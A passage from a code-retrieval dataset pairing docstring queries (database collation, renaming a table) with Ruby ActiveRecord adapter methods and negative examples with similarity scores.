"def getlist\r\n result = SUPPORTED_LANG_LIST\r\n end",
"def database_name\n @database_name\n end",
"def characters\n chars = raw_characters\n extended ? chars.map{|c| EXTENDED_ENCODINGS[c].split(//) }.flatten : chars\n end",
"def database\n @database ||= match[9]\n end",
"def database\n @database ||= determine_database\n end",
"def determine_database\n self.class.database \n end",
"def spell_collation\n spellcheck_response && spellcheck_response.index(\"collation\") && spellcheck_response[spellcheck_response.index(\"collation\")+1]\n end",
"def fetch_organisms\n return SpeciesSet.find_all_by_species_set_id(self.species_set_id).collect{|s| s.genome_db }\n end",
"def internal_encoding()\n #This is a stub, used for indexing\n end",
"def multibyte?\n @multibyte\n end",
"def database\n @database ||= match[9]\n end",
"def database\n self.class.database\n end"
] |
[
"0.80107063",
"0.80107063",
"0.77831674",
"0.7339106",
"0.7111844",
"0.7111844",
"0.6903564",
"0.6662642",
"0.658275",
"0.65800947",
"0.6554453",
"0.65480626",
"0.6508591",
"0.6502078",
"0.64863807",
"0.6377788",
"0.6307382",
"0.6171894",
"0.6106703",
"0.6077168",
"0.60539293",
"0.60421926",
"0.5972553",
"0.5953797",
"0.5953797",
"0.5953797",
"0.5897663",
"0.5853136",
"0.5836733",
"0.5807102",
"0.5779926",
"0.5665755",
"0.5663032",
"0.5615489",
"0.55726737",
"0.5555364",
"0.54615414",
"0.5449284",
"0.5449284",
"0.5427923",
"0.54200196",
"0.5409497",
"0.53805906",
"0.536277",
"0.5341085",
"0.52828336",
"0.52718586",
"0.5229897",
"0.5226893",
"0.522413",
"0.5212864",
"0.5196491",
"0.51593316",
"0.51593316",
"0.5150127",
"0.5144345",
"0.5093808",
"0.5080057",
"0.50774676",
"0.5070551",
"0.50453097",
"0.50436264",
"0.5029058",
"0.5018409",
"0.49852565",
"0.49803376",
"0.49751967",
"0.49589393",
"0.49165425",
"0.4915215",
"0.4915215",
"0.4911468",
"0.49041417",
"0.4904052",
"0.489662",
"0.48947862",
"0.48947862",
"0.48943856",
"0.48840863",
"0.48834255",
"0.48834255",
"0.48802623",
"0.4877455",
"0.48714447",
"0.48549598",
"0.4854956",
"0.48446885",
"0.48308638",
"0.48244587",
"0.48190165",
"0.4812063",
"0.4809172",
"0.48074326",
"0.4802535",
"0.47894993",
"0.47799286",
"0.47725803",
"0.4762038",
"0.47596034",
"0.47552615"
] |
0.8039727
|
0
|
Returns the database collation strategy.
|
def collation
show_variable "collation_database"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def collation\n @collation ||= show_variable('collation_connection') || 'utf8_general_ci'\n end",
"def collation\n return @collation\n end",
"def collation\n select_value(\n \"SELECT pg_database.datcollate\" <<\n \" FROM pg_database\" <<\n \" WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def collation\n nil\n end",
"def collation\n if @object.kind_of?(Linkage::Data)\n @object.collation\n else\n nil\n end\n end",
"def collation\n 'ucs_binary'\n end",
"def collation=(value)\n @collation = value\n end",
"def collation_enabled?\n $collation_enabled ||= scanned_client_server!.features.collation_enabled?\nend",
"def character_set_name\n @dbi.character_set_name\n end",
"def character_set_name\n @dbi.character_set_name\n end",
"def dialect\n connection.adapter_name.downcase.to_s\n end",
"def spell_collation\n spellcheck_response && spellcheck_response.index(\"collation\") && spellcheck_response[spellcheck_response.index(\"collation\")+1]\n end",
"def algorithm\n attributes.fetch(:algorithm) do\n Ably::Util::Crypto::DEFAULTS.fetch(:algorithm)\n end.downcase\n end",
"def getDatabaseType\n return ActiveRecord::Base.connection.adapter_name\n end",
"def encoding_for_ruby\n @database_encoding ||= case ActiveRecord::Base.connection.encoding\n when 'UTF8'\n 'UTF-8'\n else\n ActiveRecord::Base.connection.encoding\n end\n end",
"def charset\n show_variable \"character_set_database\"\n end",
"def character_set_name\n @charset.name\n end",
"def cipher_type\n self.class.cipher_type(algorithm: algorithm, key_length: key_length, mode: mode)\n end",
"def db\n @db == true ? TABLE : @db.try(:parameterize, separator: \"_\")\n end",
"def determine_database\n self.class.database \n end",
"def charset\n metadata[:charset]\n end",
"def database_name # :nodoc:\n return nil unless Module.constants.include? 'DataMapper' or Module.constants.include? :DataMapper\n raise \"No such database connection #{options[:database]}\" if options[:database] and DataMapper::Repository.adapters[options[:database]].nil?\n # Custom database connection specified\n return options[:database].to_sym if options[:database]\n # Leaf config name\n return leaf_name.to_sym if DataMapper::Repository.adapters[leaf_name.to_sym]\n # Leaf config name, underscored\n return leaf_name.methodize.to_sym if DataMapper::Repository.adapters[leaf_name.methodize.to_sym]\n # Leaf class name\n return self.class.to_s.to_sym if DataMapper::Repository.adapters[self.class.to_s.to_sym]\n # Leaf class name, underscored\n return self.class.to_s.methodize.to_sym if DataMapper::Repository.adapters[self.class.to_s.methodize.to_sym]\n # I give up\n return nil\n end",
"def most_common_language\n self.repos.collect { |repo| repo.language }.mode\n end",
"def version_strategy\n # default to git for backwards compatible behavior\n @version_strategy ||= begin\n case config.fetch(\"version_strategy\", nil)\n when CONTENTS\n CONTENTS\n when GIT\n GIT\n else\n Licensed::Git.available? ? GIT : CONTENTS\n end\n end\n end",
"def get_charset(locale)\n locale.charset || @@default_locale.charset\n end",
"def charset\n #@data.charset ||= CharGuess.guess(document).downcase\n end",
"def character_set\n @character_set ||= show_variable('character_set_connection') || 'utf8'\n end",
"def db_type\n @db_type || self.class.db_type\n end",
"def db_type\n @db_type || self.class.db_type\n end",
"def get_charset(locale)\n loc = LocaleTable.find{|v| v[1] == locale.to_win}\n loc = LocaleTable.find{|v| v[1] =~ /^#{locale.language}-/} unless loc\n loc ? loc[2] : \"CP1252\"\n end",
"def encoding\n select_value(\n \"SELECT pg_encoding_to_char(pg_database.encoding)\" <<\n \" FROM pg_database\" <<\n \" WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def encoding\n if @connection.respond_to?(:encoding)\n @connection.encoding.to_s\n else\n @connection.execute('PRAGMA encoding')[0]['encoding']\n end\n end",
"def encoding\n select_value(\"SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname LIKE '#{current_database}'\", 'SCHEMA')\n end",
"def build_mode_from_options(options)\n if options[:mode]\n case options[:mode]\n when String\n return options[:mode]\n when Symbol\n return options[:mode].to_s.upcase\n else\n raise TypeError.new(INVALID_TYPE_MSG)\n end\n else\n return \"ASC\"\n end\n end",
"def database_name\n database&.name\n end",
"def current_database_name\n ActiveRecord::Base.connection_pool.spec.config[:name] || 'default'\n end",
"def engine_mode\n data[:engine_mode]\n end",
"def adapter\n if ActiveRecord::VERSION::STRING.to_f >= 6.1\n ActiveRecord::Base.connection_db_config.adapter.to_s\n else\n ActiveRecord::Base.connection_config[:adapter].to_s\n end\n end",
"def default_database_name\n self.name.tableize\n end",
"def column_family\n @column_family || name.underscore.pluralize\n end",
"def charset\n @@charset\n end",
"def dialect\n @bridge.dialect\n end",
"def dialect\n @bridge.dialect\n end",
"def cipher_name\n @cipher.name\n end",
"def create_table_statement(model)\n \"#{super} ENGINE = InnoDB CHARACTER SET #{character_set} COLLATE #{collation}\"\n end",
"def column_definition_collate_sql(sql, column)\n if collate = column[:collate]\n sql << \" COLLATE #{collate}\"\n end\n end",
"def mode\n attributes.fetch(:mode) do\n Ably::Util::Crypto::DEFAULTS.fetch(:mode)\n end.downcase\n end",
"def database_type(database)\n Contrib::Utils::Database.normalize_vendor(database.database_type.to_s)\n end",
"def charset\n # locale parameter is ignored now.\n system.charset\n end",
"def database_name\n @dbi.db_name\n end",
"def database_name\n @dbi.db_name\n end",
"def _character_set(id)\n Unxls::Biff8::Constants::CHARSETS[id]\n end",
"def database_engine\n :mysql\n end",
"def database_name\n @opts[:database]\n end",
"def database_name\n @database_name\n end",
"def sql_modes; end",
"def database\n @database ||= determine_database\n end",
"def target_sql_mode; end",
"def cipher_mode=(cipher_type)\n if cipher_type == \"ecb\"\n @cipher_type_des = \"des-ecb\"\n @cipher_type_tdes = \"des-ede\"\n else\n @cipher_type_des = \"des-cbc\"\n @cipher_type_tdes = \"des-ede-cbc\"\n end\n end",
"def mode\n Mode.new(ENV).mode\n end",
"def cipher_name\n rc, name = Cproton.pn_ssl_get_cipher_name(@impl, 128)\n return name if rc\n nil\n end",
"def operator_class_name\n @operator_class_name ||=\n if operator_for(:has_many) || operator_for(:belongs_to) || operator_for(:has_one)\n\n determine_operator_class.name\n\n elsif connection_adapter_column\n connection_adapter_column.type.to_s.classify\n else\n ''\n end\n\n @operator_class_name\n end",
"def column_definition_collate_sql(sql, column)\n if collate = column[:collate]\n collate = literal(collate) unless collate.is_a?(String)\n sql << \" COLLATE #{collate}\"\n end\n end",
"def key_algorithm\n if self.rsa?\n :rsa\n elsif self.dsa?\n :dsa\n elsif self.ec?\n :ec\n end\n end",
"def get_mode(key)\n case key\n when \"S\", \"s\" then -1 # AUTO\n when \"N\", \"n\" then 0 # NUMERIC\n when \"A\", \"a\" then 1 # ALNUM - British number: 0-9 A-Z SP $% * + - /.:\n when \"8\" then 2 # 8BIT\n when \"K\", \"k\" then 3 # KANJI\n end\n end",
"def supports_index_collation?\n false\n end",
"def strategy_name; end",
"def supports?(dbtype)\n (:ctan.eql? dbtype.to_sym)\n end",
"def preferred_cipher_suites\n each_preferred_cipher_suite.to_a\n end",
"def database_type\n :oracle\n end",
"def get_operator_class()\n if(operator_for(:has_many) || operator_for(:belongs_to) || operator_for(:has_one)) \n begin \n Kernel.const_get(operator.classify)\n rescue; nil; end\n\n elsif(@col_type)\n begin\n Kernel.const_get(@col_type.type.to_s.classify)\n rescue; nil; end\n else\n nil\n end\n end",
"def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n else\n return nil\n end\n end",
"def db_type_for(blast_method)\n case blast_method\n when 'blastp', 'blastx'\n :protein\n when 'blastn', 'tblastx', 'tblastn'\n :nucleotide\n end\n end",
"def engine\n @dbi.engine\n end",
"def engine\n @dbi.engine\n end",
"def get_encoding()\n puts @csv_encoding\n end",
"def get_db_conf(env='development')\n Rails.configuration.database_configuration[env]\nend",
"def ctype\n select_value(\n \"SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def database_flags\n settings[:database_flags]\n end",
"def database_name\n __evaluate__(storage_options[:database])\n end",
"def language(options = {})\n Babel.guess(self, options)\n end",
"def database\n @database ? @database : Database::ADMIN\n end",
"def strategy_name\n options[:name] || @provider\n end",
"def guess_encoding(guesser = CharDet)\n Encoding.find(guesser.detect(self, :silent => true)[\"encoding\"])\n end",
"def options_or_mode(oom)\n return fmode(oom) if oom.kind_of? String\n\n if FeatureGuard.enabled? :encoding\n oom\n else\n fmode(oom[:mode] || \"r:utf-8\")\n end\n end",
"def get_mode()\n end",
"def migration_class\n if defined?(ActiveRecord::Migration::Compatibility)\n \"ActiveRecord::Migration[#{ActiveRecord::PGEnum.enabled_version}]\"\n else\n \"ActiveRecord::Migration\"\n end\n end",
"def hibernatemode\n return nil unless @property_hash.has_key? 'hibernatemode'\n\n @property_hash['hibernatemode'].to_i\n end",
"def database\n self.class_database || CouchRest::Model.default_database\n end",
"def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n elsif !self.org.nil?\n return self.org.get_locale\n else\n return nil\n end\n end",
"def character_set_name\n data[:character_set_name]\n end",
"def character_set_name\n data[:character_set_name]\n end",
"def language\n compiler && @compiler.class.language\n end",
"def engine_version\n @dbi.engine_version\n end",
"def engine_version\n @dbi.engine_version\n end",
"def orientation\n @orientation ||= :column\n end",
"def column_encryption_cryptor\n @column_encryption_cryptor ||= Cryptor.new(@column_encryption_keys)\n end",
"def charset\n 'UTF8'\n end",
"def name\n @db_name\n end",
"def charset\n @j_del.charset().toString()\n end"
] |
[
"0.75390023",
"0.7348966",
"0.70291835",
"0.69332683",
"0.6560546",
"0.6418619",
"0.6136279",
"0.5920985",
"0.58800715",
"0.58800715",
"0.57487476",
"0.5562531",
"0.5388366",
"0.53793466",
"0.53766054",
"0.52451473",
"0.5241892",
"0.52267635",
"0.519012",
"0.5150045",
"0.5099302",
"0.50911117",
"0.5078642",
"0.5008051",
"0.5001218",
"0.49938363",
"0.4990896",
"0.49693277",
"0.49693277",
"0.49643695",
"0.4962208",
"0.49501738",
"0.49250084",
"0.4912855",
"0.49074233",
"0.4899866",
"0.48925117",
"0.48911318",
"0.48848894",
"0.487437",
"0.48638833",
"0.48347244",
"0.48347244",
"0.48073292",
"0.4796303",
"0.47589564",
"0.47582564",
"0.47552425",
"0.47318444",
"0.47307777",
"0.47307777",
"0.4701526",
"0.47013596",
"0.46991384",
"0.46983176",
"0.46863723",
"0.46731654",
"0.4663791",
"0.4656594",
"0.46369275",
"0.4635937",
"0.46299684",
"0.46207955",
"0.46169272",
"0.45978072",
"0.45935515",
"0.45887083",
"0.45757696",
"0.45737457",
"0.4569572",
"0.45628223",
"0.45625454",
"0.45578924",
"0.45515767",
"0.45515767",
"0.45499626",
"0.45487192",
"0.45470545",
"0.45446488",
"0.4544622",
"0.45404592",
"0.45399144",
"0.4527672",
"0.45258138",
"0.45137852",
"0.45059684",
"0.4504867",
"0.45033494",
"0.44888",
"0.44846886",
"0.44729245",
"0.44729245",
"0.44670734",
"0.44623634",
"0.44623634",
"0.44522068",
"0.445197",
"0.44516632",
"0.44484285",
"0.44478577"
] |
0.7339151
|
2
|
Renames a table. Example: rename_table('octopuses', 'octopi')
|
def rename_table(table_name, new_name, **options)
validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
schema_cache.clear_data_source_cache!(table_name.to_s)
schema_cache.clear_data_source_cache!(new_name.to_s)
execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
rename_table_indexes(table_name, new_name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rename_table(*args)\n execute(rename_table_sql(*args))\n end",
"def rename_table(table_name, new_name)\n clear_cache!\n execute \"ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}\"\n end",
"def rename_table(table_name, new_name)\n schema_cache.clear_data_source_cache!(table_name.to_s)\n schema_cache.clear_data_source_cache!(new_name.to_s)\n exec_query \"ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}\"\n rename_table_indexes(table_name, new_name)\n end",
"def rename_table_sql(name, new_name)\n \"ALTER TABLE #{quote_identifier(name)} RENAME TO #{quote_identifier(new_name)}\"\n end",
"def rename_table_sql(name, new_name)\n \"ALTER TABLE #{quote_schema_table(name)} RENAME TO #{quote_schema_table(new_name)}\"\n end",
"def rename_table_sql(name, new_name)\n \"ALTER TABLE #{quote_schema_table(name)} RENAME TO #{quote_schema_table(new_name)}\"\n end",
"def rename_table_sql(name, new_name)\n \"ALTER TABLE #{quote_schema_table(name)} RENAME TO #{quote_schema_table(new_name)}\"\n end",
"def rename_table_sql(name, new_name)\n \"ALTER TABLE #{quote_schema_table(name)} RENAME TO #{quote_identifier(schema_and_table(new_name).last)}\"\n end",
"def rename_table(name, new_name)\n @logger.unknown(\"ODBCAdapter#rename_table>\") if @trace\n @logger.unknown(\"args=[#{name}|#{new_name}]\") if @trace\n execute \"RENAME TABLE #{name} TO #{new_name}\"\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n raise ActiveRecord::ActiveRecordError, e.message\n end",
"def rename_table(name, new_name)\n execute_ddl(rename_table_sql(name, new_name))\n remove_cached_schema(name)\n nil\n end",
"def rename_table(old_tablename, new_tablename)\r\n raise \"Cannot rename table running in client mode!\" if client?\r\n raise \"Table does not exist!\" unless table_exists?(old_tablename)\r\n raise(ArgumentError, 'Existing table name must be a symbol!') \\\r\n unless old_tablename.is_a?(Symbol)\r\n raise(ArgumentError, 'New table name must be a symbol!') unless \\\r\n new_tablename.is_a?(Symbol)\r\n raise \"Table already exists!\" if table_exists?(new_tablename)\r\n\r\n @table_hash.delete(old_tablename)\r\n @engine.rename_table(old_tablename, new_tablename)\r\n get_table(new_tablename)\r\n end",
"def rename_table(name, new_name) #:nodoc:\r\n execute \"EXECUTE PROCEDURE sp_RenameDDObject(#{quote_table_name(name)} , #{quote_table_name(new_name)}, 1 /* ADS_DD_TABLE_OBJECT */, 0 /* Rename File */)\"\r\n end",
"def TableRenameClicked\n unless getDBConn\n msgbox(_(\"Warning\"), _(\"Please open a database before trying to rename a table.\"), \"warning\")\n return false\n end\n\n # Getting the marked table and run some possible error-handeling.\n tables = treeview_getSelection(@tv_tables)\n if count(tables) <= 0\n msgbox(_(\"Warning\"), _(\"Please select the table, that you would like to rename.\"), \"warning\")\n return false\n end\n\n tables.each do |table|\n # Getting the table.new-name from the user.\n tablename = knj_input(_(\"New table name\"), _(\"Please enter the table.new-name:\"), table[0])\n break if tablename == \"cancel\"\n\n # If he has enteret the same name.\n if strtolower(tablename) == strtolower(table[0])\n msgbox(_(\"Warning\"), _(\"The entered name was the same as the current table-name.\"), \"warning\")\n break\n end\n\n # Checking if the table.new-name if valid.\n unless preg_match(\"/^[a-zA-Z][a-zA-Z0-9_]+/\", tablename, match)\n msgbox(_(\"Warning\"), _(\"The enteret name was not a valid table-name.\"), \"warning\")\n break\n end\n\n # Renaming table and refreshing treeviews.\n begin\n getDBConn.getTable(table[0]).rename(tablename)\n rescue => e\n knj_msgbox.error_exc(e)\n end\n end\n\n @dbpage.TablesUpdate()\n end",
"def rename_tablespace(old_name, new_name)\n execute(\"ALTER TABLESPACE #{quote_tablespace(old_name)} RENAME TO #{quote_tablespace(new_name)};\")\n end",
"def rename_rule(old_name, table, new_name)\n execute \"ALTER RULE #{quote_rule(old_name)} ON #{quote_table_name(table)} RENAME TO #{quote_rule(new_name)};\"\n end",
"def set_table_name(name) # rubocop:disable Naming/AccessorMethodName\n @table_name = name\n end",
"def rename_column(table, *args)\n alter_table(table) {rename_column(*args)}\n end",
"def rename_column(table, *args)\n alter_table(table) {rename_column(*args)}\n end",
"def reset_table_name #:nodoc:\n self.table_name = compute_table_name\n end",
"def rename(old_name, new_name); end",
"def rename(old_name, new_name); end",
"def table_name=(value)\n @original_table_name = @table_name if defined?(@table_name)\n @table_name = value && value.to_s\n @quoted_table_name = nil\n end",
"def rename_column(table_name, old_name, new_name)\n column_functional(table_name) do\n rename_table_column(old_name, new_name)\n end\n end",
"def rename_column(table_name, column_name, new_column_name)\n execute \"ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}\"\n end",
"def table_name=(name)\n @table_name = name\n end",
"def rename_column(table_name, column_name, new_column_name)\n execute \"ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}\"\n end",
"def roomer_reset_table_name\n if @roomer_original_table_name\n self.table_name = \"#{table_name_prefix}#{@roomer_original_table_name}\"\n else\n reset_table_name\n end\n roomer_ensure_table_name_prefix\n end",
"def table_name(table_name = nil)\n if table_name\n @table_name = table_name\n else\n @table_name\n end\n end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def rename new_name\n @name = new_name.to_sym\n end",
"def set_table(table_name)\n @current = table_name\n end",
"def test_rename_table\n user = User.create! :login => 'looser'\n begin\n ActiveRecord::Base.connection.rename_table 'users', 'loosers'\n loosers = Class.new(ActiveRecord::Base)\n loosers.table_name = 'loosers'\n assert_kind_of ActiveRecord::Base, loosers.find(user.id)\n ensure\n disable_logger do\n CreateUsers.up rescue nil\n ActiveRecord::Base.connection.drop_table(\"loosers\") rescue nil\n end\n end\n end",
"def rename_column(table_name, column_name, new_column_name) #:nodoc:\n clear_cache!\n execute \"ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}\"\n end",
"def change_name(field, new_name)\n CONNECTION.execute(\"UPDATE #{table_name} SET #{field} = '#{new_name}' WHERE id = #{@id};\")\n end",
"def rename(old_name, new_name)\n move(old_name, new_name)\n end",
"def rename_column(table_name, column_name, new_column_name)\n execute \"exec sp_rename '#{table_name}.#{column_name}', '#{new_column_name}'\"\n end",
"def rename_columns(table_name, columns_old_new_create)\n temporary_table_name = \"#{table_name}_temp\"\n\n DataMapper::Transaction.new(adapter).commit do\n adapter.execute(\n \"ALTER TABLE #{quote table_name} \"\\\n \"RENAME TO #{quote temporary_table_name}\"\n )\n\n create_table table_name do\n columns_old_new_create.each do |_old, new, *options|\n column new, *options\n end\n end\n\n columns_old = columns_old_new_create.map { |c| quote c[0] }\n columns_new = columns_old_new_create.map { |c| quote c[1] }\n\n adapter.execute(\n \"INSERT INTO #{quote table_name}\" +\n \"(#{columns_new.join(',')}) \" +\n \"SELECT #{columns_old.join(',')} \" +\n \"FROM #{quote temporary_table_name}\")\n\n drop_table temporary_table_name\n end\n end",
"def pgt_mangled_table_name(table)\n quote_schema_table(table).gsub('\"', '').gsub(/[^A-Za-z0-9]/, '_').gsub(/_+/, '_')\n end",
"def compute_table_name\n \"#{full_table_name_prefix}#{undecorated_table_name(name)}#{table_name_suffix}\"\n end",
"def rename(name, new_name)\n @driver.renameRule([name], [new_name])\n end",
"def table name\n ft = Foxtable.new(table_file_name name)\n ft.longnames = @tables[name]\n\n ft\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def quote_table_name(name)\n name\n end",
"def copy_table(old_table_name, new_table_name)\r\n execute add_select_into_table(new_table_name, \"SELECT * FROM #{old_table_name}\")\r\n end",
"def copy_table(old_table_name, new_table_name)\n execute add_select_into_table(new_table_name, \"SELECT * FROM #{old_table_name}\")\n end",
"def table_alias_for(table_name)\n table_name.gsub(/\\./, '_')\n end",
"def refresh_table(table_name)\n execute \"refresh table #{table_name}\"\n end",
"def copy_table(old_table_name, new_table_name)\n transaction do\n execute \"CREATE TABLE #{new_table_name} LIKE #{old_table_name}\"\n execute \"INSERT INTO #{new_table_name} SELECT * FROM #{old_table_name}\"\n end\n end",
"def rename_column(old_col_name, new_col_name)\r\n raise \"Do not execute this method in client/server mode!\" if \\\r\n @db.client?\r\n\r\n raise \"Cannot rename recno column!\" if old_col_name == :recno\r\n raise \"Cannot give column name of recno!\" if new_col_name == :recno\r\n\r\n raise 'Invalid column name to rename: ' % old_col_name unless \\\r\n @field_names.include?(old_col_name)\r\n \r\n raise 'New column name already exists: ' % new_col_name if \\\r\n @field_names.include?(new_col_name)\r\n\r\n @db.engine.rename_column(self, old_col_name, new_col_name)\r\n\r\n # Need to reinitialize the table instance and associated indexes.\r\n @db.engine.remove_recno_index(@name)\r\n @db.engine.remove_indexes(@name)\r\n\r\n update_header_vars\r\n create_indexes\r\n create_table_class unless @db.server?\r\n end",
"def copy_table(old_table_name, new_table_name)\n transaction do\n execute \"CREATE TABLE #{new_table_name} LIKE #{old_table_name}\"\n execute \"INSERT INTO #{new_table_name} SELECT * FROM #{old_table_name}\"\n end\n end",
"def rename_tab(name)\n if self.respond_to?(\"#{name}_tab_name\")\n n = self.send(\"#{name}_tab_name\")\n n if !n.blank?\n end\n end",
"def clone_table_schema(table_name, new_table_name, preserve_splits = true)\n @admin.cloneTableSchema(TableName.valueOf(table_name),\n TableName.valueOf(new_table_name),\n preserve_splits)\n end",
"def create_table(table)\n raise IMDB::DatabaseExceptions::TableExists.new(table.name) if @tables.has_key? table.name\n @tables[table.name] = table\n end",
"def table_name_changed\n prev_table_name && (prev_table_name != table_name)\n end",
"def rename_column(table_name, column_name, new_column_name, options = {}) #:nodoc:\n column_info = select_one(\"SHOW FULL FIELDS FROM #{table_name} LIKE '#{column_name}'\")\n current_type = column_info[\"Type\"]\n options[:comment] ||= column_info[\"Comment\"]\n sql = \"ALTER TABLE #{table_name} CHANGE #{column_name} #{new_column_name} #{current_type}\"\n sql << \" COMMENT #{quote(options[:comment])}\" unless options[:comment].blank?\n execute sql\n end",
"def new_table_name=(name)\n @new_table_name = \"layer_table_#{name}\"\n end",
"def get_table(table_name)\n table = Table.new\n table.name = table_name\n table.reload\n table\n end",
"def rename(file, newname)\n raise \"Sorry... 'AimsCalc rename' isn't implemented yet.\"\nend",
"def fdw_adjusted_table_name(name)\n name[0...PG_MAX_TABLE_NAME_LENGTH]\n end",
"def drop_table(name)\n not_exist(name)\n\n ORM::DBConnection.new(model_name(name)).remove_table(name)\n File.delete(\"app/services/db/tables/#{name}.json\")\n end",
"def down\n rename_column TABLE_NAME, NEW_COLUMN_NAME, OLD_COLUMN_NAME\n end",
"def down\n rename_column TABLE_NAME, NEW_COLUMN_NAME, OLD_COLUMN_NAME\n end",
"def rename(renames)\n operations = renames.inject({}) do |ops, (old_name, new_name)|\n ops[old_name] = new_name.to_s\n ops\n end\n view.update_many(\"$rename\" => collect_operations(operations))\n end",
"def quote_table_name(name)\n schema, name_part = extract_vertica_identifier_from_name(name.to_s)\n\n unless name_part\n quote_column_name(schema)\n else\n table_name, name_part = extract_vertica_identifier_from_name(name_part)\n \"#{quote_column_name(schema)}.#{quote_column_name(table_name)}\"\n end\n end",
"def drop_table(table_name = temporary_table_name)\n ::RailsRedshiftReplicator.connection.exec \"drop table if exists #{table_name}\"\n end",
"def renamenx(old_name, new_name); end",
"def renamenx(old_name, new_name); end",
"def rename!(name)\n @name = name\n @path = make_path\n end",
"def rename(_old_team, _new_team)\n # stub\n end",
"def delete_table(table_name)\n data.delete(table_name)\n end",
"def delete_table(database_name, table_name)\n @glue_client.delete_table(database_name: database_name, name: table_name)\n rescue Aws::Glue::Errors::ServiceError => e\n @logger.error(\"Glue could not delete job: \\n#{e.message}\")\n end",
"def DeleteTable(table_name)\n @ole._invoke(6, [table_name], [VT_BSTR])\n end",
"def rename!(new_name, orig_name)\n new_name = new_name.to_underscore_sym\n orig_name = orig_name.to_underscore_sym\n raise ArgumentError, \"Column not found\" unless self.labels.include?(orig_name)\n raise ArgumentError, \"Cannot name #{orig_name} to #{new_name}, that column already exists.\" if self.labels.include?(new_name)\n i = self.labels.index(orig_name)\n self.labels[i] = new_name\n end",
"def test_rename_column\n add_column \"test_models\", \"first_name\", \"string\"\n\n TestModel.create first_name: \"foo\"\n\n rename_column \"test_models\", \"first_name\", \"nick_name\"\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end",
"def undecorated_table_name(class_name = base_class.name)\n table_name = Inflector.underscore(Inflector.demodulize(class_name))\n table_name = Inflector.pluralize(table_name) if pluralize_table_names\n table_name\n end",
"def rename(new_name)\n raise 'to be implemented in subclass'\n end",
"def table(table_name)\n tables[table_name] ||= Table.new(self, table_name)\n end",
"def table_name(model)\n version = get_working_model_version(model) || get_current_model_version(model)\n table_name_from_model_version(model, version)\n end",
"def set_table(table)\n define_class_method(:table) {table.to_s.to_sym}\n end",
"def rename oldname, newname\n add \"mv #{oldname} #{newname}\", check_file(newname)\n end",
"def rename(old_name, new_name)\n send_command([:rename, old_name, new_name])\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\" \n return response(url)\n end",
"def undecorated_table_name(class_name = base_class.name)\n table_name = class_name.to_s.demodulize.underscore\n table_name = table_name.pluralize if pluralize_table_names\n table_name\n end",
"def swap_tmp_table(klass)\n EOL.log_call\n count = begin\n klass.connection.select_value(\"SELECT COUNT(*) \"\\\n \"FROM #{klass.table_name}_tmp\")\n rescue\n 0\n end\n if count > 0\n klass.connection.execute(\"RENAME TABLE #{klass.table_name} \"\\\n \"TO #{klass.table_name}_swap, \"\\\n \"#{klass.table_name}_tmp TO #{klass.table_name}, \"\\\n \"#{klass.table_name}_swap TO #{klass.table_name}_tmp\")\n end\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def rename(*arguments)\n dup.rename!(*arguments)\n end",
"def rename(to) File.rename(path, to) end",
"def next_table_name(model)\n current_version = get_current_model_version(model)\n next_version = TableNames.next_version(model_space.history_versions(model), current_version)\n table_name_from_model_version(model, next_version)\n end",
"def drop_table\n self.connection.drop_table table_name\n end",
"def namespaced_table_name\n [self.class.table_namespace, table_name].reject {|s| s.nil? || s.empty?}.join('-')\n end",
"def prefix_table\n update unless @prefix_table\n @prefix_table\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def rename(name)\n url = prefix + \"rename&name=#{name}\"\n return response(url)\n end",
"def quote_table_name(table_name)\n quote_column_name(table_name)\n end",
"def update_table_cache\n return unless connected?\n new_table_names = connection.list_tables.table_names\n @table_names = new_table_names\n end",
"def rename!(oldkey, newkey)\n timeout_retry(3, 3){\n write \"RENAME #{oldkey} #{newkey}\\r\\n\"\n status_code_reply\n }\n end",
"def index_name(table_name, options) #:nodoc:\n super table_name.tr('.', '_'), options\n end",
"def quote_table_name(name)\n if self.class.valid_table_name?(name)\n name\n else\n \"\\\"#{name}\\\"\"\n end\n end",
"def table_name\n @table_name ||= self.class.const_get(class_name).table_name\n end"
] |
[
"0.84496796",
"0.820878",
"0.8120327",
"0.7903684",
"0.7766701",
"0.772739",
"0.772739",
"0.7667506",
"0.76294136",
"0.75355494",
"0.73548025",
"0.73298883",
"0.6908819",
"0.6874954",
"0.6786661",
"0.6528938",
"0.65020245",
"0.65020245",
"0.64599144",
"0.6281416",
"0.6281416",
"0.6254235",
"0.6241874",
"0.6205828",
"0.61840785",
"0.606439",
"0.59027183",
"0.58943665",
"0.5850157",
"0.5850157",
"0.58382183",
"0.58209",
"0.580068",
"0.57932776",
"0.57930547",
"0.5787694",
"0.5779414",
"0.5729256",
"0.5701107",
"0.562839",
"0.56139344",
"0.5613756",
"0.5613756",
